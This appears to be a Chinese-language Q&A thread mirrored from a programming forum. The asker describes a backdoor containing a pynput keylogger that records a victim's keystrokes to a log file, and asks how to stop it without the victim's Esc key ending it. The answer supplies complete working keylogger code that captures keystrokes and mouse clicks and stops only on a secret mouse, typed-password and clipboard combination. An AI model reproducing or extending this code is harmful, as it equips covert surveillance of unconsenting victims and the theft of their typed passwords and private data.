2

我启动了一个小后门,并在其中使用了键盘记录器。我使用 pynput 库,我想知道是否可以从外部函数或主循环中停止 pynput 侦听器。

这是一个代码片段:

class KeyLoggerThread(threading.Thread):
    global Quit
    def __init__(self):
        super().__init__()

    def run(self):
        logging.basicConfig(filename="keys.log",level=logging.DEBUG, format='%(asctime)s %(message)s')
        def on_press(key):
            logging.debug(str(key))
            if key == Key.esc:
                return False
        with Listener(on_press = on_press) as listener:
            listener.join()

现在,我必须使用 esc 键不太实用,因为这个键盘记录器在我的后门中使用,所以当受害者按下 esc 时,它会退出键盘记录器。我真正想要的是在我想停止它时发送一个信号(而不是从一个键)。在此先感谢,祝您有美好的一天!

4

1 回答 1

0

你谈论键盘记录器......是的,如果你想要一个信号而不是来自一个键然后买一个遥控器:))

在这个示例代码中,我为密码组合了 3 种不同的东西,以防止错误地关闭侦听器事件。

按住鼠标中键/滚轮键,写一个单词 ex。@admin(点击那个关键字符)并让您复制一些文本...... PS。我不知道有多少人同时在键盘上写字,同时手握鼠标并握住轮轴……这只是一个例子,要有创意。

#// IMPORTS
import pyperclip
from pynput import keyboard, mouse

keylogger_stop = False
# password = [Boolean, String_1, String_2]
# Boolean - Need to hold mouse middle mutton, if you 
#           released befoure to finish, well try again
# String_1 - Write that password/word. Special keys
#           are ignored (alt, ctrl, cmd, shift etc.)
# String 2 - You need to have this text copyed (Ctrl + C)
#           and after you finish to write manual String_1
password = [False, "@dmin", ">> Double $$$ check! <<"]
pass_type = ""

class Keylogger:
    def __init__(self):
        Keylogger.Keyboard.Listener()
        Keylogger.Mouse.Listener()
        
    class Keyboard:
        def Press(key):
            if keylogger_stop == True: return False
            else: print(f"K_K_P: {key}")
        
        def Release(key):
            global pass_type, keylogger_stop
            # get copyed string + holding right mouse button pressed
            if password[0] == True and pass_type == password[1]:
                if pyperclip.paste().strip() == password[2]: keylogger_stop = True
                else: password[0] = False; pass_type = ""
            # write string password/word + holding right mouse button pressed
            elif password[0] == True:
                try: pass_type += key.char; print(pass_type, password[0])
                except: pass
                
            else: print(f"K_K_R: {key}")
        
        def Listener():
            l = keyboard.Listener(on_press = Keylogger.Keyboard.Press,
                                  on_release =  Keylogger.Keyboard.Release)
            l.start()

    class Mouse:
        def Click(x, y, b, p):
            global pass_type
            
            if keylogger_stop == True: return False

            # hold mouse button pressed, on release will reset the progress
            elif b == mouse.Button.middle:
                if p == True: password[0] = True
                else: password[0] = False; pass_type = ""
            else: print(f"{b} was {'pressed' if p else 'released'} at ({x} x {y})")
        
        def Listener():
            mouse.Listener(on_click = Keylogger.Mouse.Click).start()

class Main:
    def __init__(self):
        Keylogger()
    
#// RUN IF THIS FILE IS THE MAIN ONE
if __name__ == "__main__": 
    Main()
于 2020-07-05T11:20:54.567 回答